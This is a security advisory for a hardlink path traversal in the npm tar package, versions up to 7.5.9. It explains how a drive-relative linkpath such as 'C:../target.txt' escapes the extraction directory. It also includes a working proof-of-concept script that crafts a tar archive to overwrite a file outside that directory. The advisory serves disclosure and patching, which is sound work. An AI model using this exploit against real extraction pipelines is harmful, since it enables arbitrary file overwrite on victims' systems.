---
title: "GHSA-qffp-2rhf-9h96: tar has Hardlink Path Traversal via Drive-Relative Linkpath"
description: "High severity. tar has Hardlink Path Traversal via Drive-Relative Linkpath. Affects tar; fixed in 7.5.10."
url: https://inlinr.com/advisories/GHSA-qffp-2rhf-9h96
lang: en
---

[Packages](https://inlinr.com/packages) / [tar](https://inlinr.com/packages/tar) / [Security](https://inlinr.com/packages/tar/security)

High Vulnerability GHSA-qffp-2rhf-9h96 CVE-2026-29786 Published 5 Mar 2026

# tar has Hardlink Path Traversal via Drive-Relative Linkpath

Your version 

Affected releases · [tar](https://inlinr.com/packages/tar)

- 7.x 7.0.0 – 7.5.9 Fixed in 7.5.10
- 6.x and older 0.0.1 – 6.2.1 No fix, no longer updated

On 7.x, the newest line:

```
npm install tar@7.5.10
```

Every release on a timeline

7.x 

1. Affected

7.0.0 – 7.5.9  
20 releases
2. Fixed

7.5.10 – 7.5.22  
13 releases, latest

6.x 

1. Affected

6.0.0 – 6.2.1  
24 releases

5.x 

1. Affected

5.0.0 – 5.0.11  
12 releases

4.x 

1. Affected

4.0.0 – 4.4.19  
31 releases

3.x 

1. Affected

3.0.0 – 3.2.3  
22 releases

2.x 

1. Affected

2.0.0 – 2.2.2  
7 releases

1.x 

1. Affected

1.0.0 – 1.0.3  
4 releases

0.x 

1. Affected

0.0.1 – 0.1.20  
21 releases

154 stable releases of tar, oldest to newest, one row per major.

## What happens

Summary

`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

Details

The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments _before_ stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:

1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files

## How it is exploited

Exploitable with local access, with no account and a user to do something.

- **Confidentiality**: none
- **Integrity**: high
- **Availability**: low

CVSS:4.0/​AV:L/​AC:L/​AT:N/​PR:N/​UI:P/​VC:N/​VI:H/​VA:L/​SC:N/​SI:H/​SA:L

## References

- [Reference](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96 "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96")  
github.com/isaacs/node-tar/security/advisories/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-29786 "https://nvd.nist.gov/vuln/detail/CVE-2026-29786")  
nvd.nist.gov/vuln/detail/CVE-2026-29786
- [Fix commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f")  
7bc755d
- [Package](https://github.com/isaacs/node-tar "https://github.com/isaacs/node-tar")  
github.com/isaacs/node-tar